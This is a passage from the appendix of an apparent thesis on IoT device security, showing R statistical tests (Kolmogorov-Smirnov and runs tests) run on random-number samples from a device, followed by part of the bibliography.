19412 , 29355 , 28989 , 18683 , 29050 , 52745 , 24805 , 58020 , 55116 , 42050 ,
13984 , 22514 , 7216 , 11007 , 2392 , 35530 , 21563 , 8168 , 18929 , 1862 , 60534 ,
54849 , 30759 , 13386 , 34047 , 35131 , 14182 , 61776 , 27618 , 3827 , 49688 ,
65395 , 49828 , 32539 , 6255 , 9129 , 36737 , 63117 , 57698 , 64887 , 59579 ,
62327 , 7377 , 56657 , 17949 , 41319 , 56226 , 57570 , 60250 , 14871 , 64600 ,
57295 , 397)

1https://www.r-project.org
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s3 <- c(64377 , 29218 , 38413 , 5780 , 49183 , 13353 , 55934 , 46680 , 60198 ,
38536 , 27251 , 2274 , 64859 , 64155 , 19088 , 48259 , 25519 , 2306 , 18900 ,
25752 , 61636 , 50270 , 64238 , 24757 , 19134 , 25896 , 26193 , 11721 , 49720 ,
24926 , 38693 , 47241 , 64828 , 34158 , 8297 , 10938 , 15806 , 9575 , 38917 ,
23384 , 63610 , 52064 , 63858 , 141, 20927 , 52552 , 33048 , 45688 , 12243 ,
44891 , 3305 , 5132 , 32565 , 31630 , 12278 , 8543 , 22002 , 59206 , 23727 , 35593 ,
41270 , 19655)

B.2 Tests Performed

Numerous tests are available for testing random numbers. Xiannong Meng [51] provides a list
of five such tests: (1) frequency test, (2) runs test, (3) auto-correlation test, (4) gap test, and
(5) poker test. The use of these tests is then described as follows: “The two properties we are
concerned most are uniformity and independence. [...] The first one tests for uniformity and the
second to fifth ones test independence.” [51]

Considering the scope of this study, we have decided to perform the frequency test and one
of the tests for independence only (specifically the runs test). Both tests will be carried out on
the three samples collected from our device. We have decided to test multiple samples to make
sure that the device does not contain just one hard-coded sequence of numbers that is used again
and again (which could be perfectly random when tested alone).

B.3 Tested Hypotheses
Frequency test: Distribution of the generated random numbers in our samples shall be considered
uniform if the result of the selected frequency test (Kolmogorov-Smirnov test, see below in
Section B.3.1) performed on the sample falls in the 95% confidence interval. H0 = generated
number sequences show uniform distribution. H1 = generated number sequences do not show
uniform distribution. If the P value obtained from the test is higher than 0.05, we accept the
H0 hypothesis, in other cases we reject it.

Independence test: Generated random numbers in our samples shall be considered indepen-
dent if the result of the runs test (see below in Section B.3.2) performed on the sample falls in the
95% confidence interval. H0 = generated numbers are independent. H1 = generated numbers
are not independent. If the P value obtained from the test is higher than 0.05, we accept the
H0 hypothesis, in other cases we reject it.

B.3.1 Frequency Test
For the frequency test, the Kolmogorov-Smirnov test has been used. This test is a statistical
test that compares two continuous distribution functions to see whether they are different [52].
We can therefore use it to determine whether or not our samples show uniform distribution. In
R, this test is implemented in the dgof package. We therefore start with installing the package
and loading the library.

# Installation of the required package
install . packages (" dgof ")
# Loading of the required library
library (dgof)

Afterwards, the three numeric vectors are tested using one-sample tests. The distribution
used for one-sample tests is defined using parameters. In our case it is the uniform distribution
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with values from 0 to 65535. The console outputs below show both the commands used and the
results obtained:

> ks.test(s1 ,punif ,0 ,65535)

One - sample Kolmogorov - Smirnov test

data: s1
D = 0.084909 , p-value = 0.7305
alternative hypothesis : two -sided

> ks.test(s2 ,punif ,0 ,65535)

One - sample Kolmogorov - Smirnov test

data: s2
D = 0.12742 , p-value = 0.2449
alternative hypothesis : two -sided

> ks.test(s3 ,punif ,0 ,65535)

One - sample Kolmogorov - Smirnov test

data: s3
D = 0.08353 , p-value = 0.7483
alternative hypothesis : two -sided

We can see from the console outputs for the three test runs that the P values for all of the three
samples (0.7305 for s1, 0.2449 for s2, and 0.7483 for s3) allow us to accept the H0 hypothesis:
“The generated number sequences show uniform distribution”.

B.3.2 Runs Test
We have used the runs test to test the independence of numbers in the generated sequences. Run
is a series of increasing values or a series of decreasing values. Length of the run is the number
of such monotonous sequence. “In a random data set, the probability that the (I+1)th value is
larger or smaller than the Ith value follows a binomial distribution, which forms the basis of the
runs test.” [53]

The runs test is implemented in the R language and environment in the snpar package.
Therefore, we have to install the package and load the library first:

install . packages (" snpar ")
library (snpar)

The individual tests are then run on each of the samples s1, s2, and s3 using the runs.test()
function with the exact=TRUE parameter. The individual commands as well as the console outputs
are presented below:

> runs.test(s1 , exact=TRUE)

Exact runs test

data: s1
Runs = 34, p-value = 0.521
alternative hypothesis : two.sided
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> runs.test(s2 , exact=TRUE)

Exact runs test

data: s2
Runs = 26, p-value = 0.159
alternative hypothesis : two.sided

> runs.test(s3 , exact=TRUE)

Exact runs test

data: s3
Runs = 32, p-value = 0.8966
alternative hypothesis : two.sided

The P values obtained from the individual runs tests, specifically 0.521 for s1, 0.159 for s2,
and 0.8966 for s3, show that we can accept the H0 hypothesis: “The generated numbers are
independent”.

B.4 Conclusion
We have performed two series of tests on our samples. The Kolmogorov-Smirnov test was used
to test the uniformity of the generated samples, while the runs test was used for independence
testing. Results of both test series for all individual samples have confirmed the H0 hypothesis.
Therefore, we can be 95% confident that the generated sequences show uniform distribution and
the numbers in these sequences are independent.
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2. CHUI, Michael; LÖFFLER, Markus; ROBERTS, Roger. The Internet of Things [online].
2010-03 [visited on 2021-04-10]. Available from: https://www.mckinsey.com/industries/
technology - media - and - telecommunications / our - insights / the - internet - of -
things.

3. HANES, David et al. IOT fundamentals: networking technologies. protocols, and use cases
for the internet of things. Cisco Press, 2017. isbn 978-1-58714-456-1.

4. SETHI, Pallavi; SARANGI, Smruti R. Internet of Things: Architectures, Protocols, and
Applications. Journal of Electrical and Computer Engineering. 2017, vol. 2017, pp. 1–25.
Available from doi: 10.1155/2017/9324035.

5. VERMESAN, Ovidiu et al. Internet of things strategic research roadmap. In: Internet of
Things: Global Technological and Societal Trends. Aalnorg: River Publishers, 2011, 9–52.
isbn 9788792329738.

6. BLINOWSKI, Grzegorz J.; PIOTROWSKI, Pawe l. CVE based classification of vulnerable
IoT systems. 2020. Available from arXiv: 2006.16640 [cs.CR].

7. TURCK, Matt. The Internet Of Things Is Reaching Escape Velocity [online]. TechCrunch,
2014-12 [visited on 2021-04-22]. Available from: https://techcrunch.com/2014/12/02/
the-internet-of-things-is-reaching-escape-velocity/.

8. SANTOS, Daniel dos et al. AMNESIA:33 [online]. Forescout Research Labs, 2020 [visited
on 2021-04-18]. Available from: https : / / www . forescout . com / company / resources /
amnesia33-how-tcp-ip-stacks-breed-critical-vulnerabilities-in-iot-ot-and-
it-devices/.

9. Treck TCP/IP User Manual [online]. Treck Incorporated, 2004 [visited on 2021-04-21].
Available from: https://manualzz.com/doc/6645174/treck-tcp-ip-user-manual.

10. GREENBERG, Andy. Sandworm: a new era of cyberwar and the hunt for the Kremlins
most dangerous hackers. Anchor Books, 2020. isbn 9780385544412.

11. Browse Vulnerabilities By Date [online] [visited on 2021-04-10]. Available from: https :
//www.cvedetails.com/browse-by-date.php/.

12. HANDLEY, Mark; RESCORLA, Eric (eds.). Internet Denial-of-Service Considerations [on-
line]. 2006 [visited on 2021-04-22]. Available from: https : / / tools . ietf . org / html /
rfc4732.

61

https://iot-analytics.com/internet-of-things-definition/
https://iot-analytics.com/internet-of-things-definition/
https://www.mckinsey.com/industries/technology-media-and-telecommunications/our-insights/the-internet-of-things
https://www.mckinsey.com/industries/technology-media-and-telecommunications/our-insights/the-internet-of-things
https://www.mckinsey.com/industries/technology-media-and-telecommunications/our-insights/the-internet-of-things
https://doi.org/10.1155/2017/9324035
https://arxiv.org/abs/2006.16640
https://techcrunch.com/2014/12/02/the-internet-of-things-is-reaching-escape-velocity/
https://techcrunch.com/2014/12/02/the-internet-of-things-is-reaching-escape-velocity/
https://www.forescout.com/company/resources/amnesia33-how-tcp-ip-stacks-breed-critical-vulnerabilities-in-iot-ot-and-it-devices/
https://www.forescout.com/company/resources/amnesia33-how-tcp-ip-stacks-breed-critical-vulnerabilities-in-iot-ot-and-it-devices/
https://www.forescout.com/company/resources/amnesia33-how-tcp-ip-stacks-breed-critical-vulnerabilities-in-iot-ot-and-it-devices/
https://manualzz.com/doc/6645174/treck-tcp-ip-user-manual
https://www.cvedetails.com/browse-by-date.php/
https://www.cvedetails.com/browse-by-date.php/
https://tools.ietf.org/html/rfc4732
https://tools.ietf.org/html/rfc4732


62 Bibliography

13. N-ABLE. Remote Code Execution Overview [online]. 2019 [visited on 2021-04-22]. Available
from: https://www.n-able.com/blog/remote-code-execution.

14. The IoT Attacks Everyone Should Know About [online]. Pwnie Express, 2020 [visited on
2021-04-22]. Available from: https://outpost24.com/blog/the-iot-attacks-everyone-
should-know-about.

15. What Makes IoT so Vulnerable to Attack? [Online]. Pwnie Express, 2020 [visited on 2021-
04-22]. Available from: https : / / outpost24 . com / blog / what - makes - the - iot - so -
vulnerable-to-attack.
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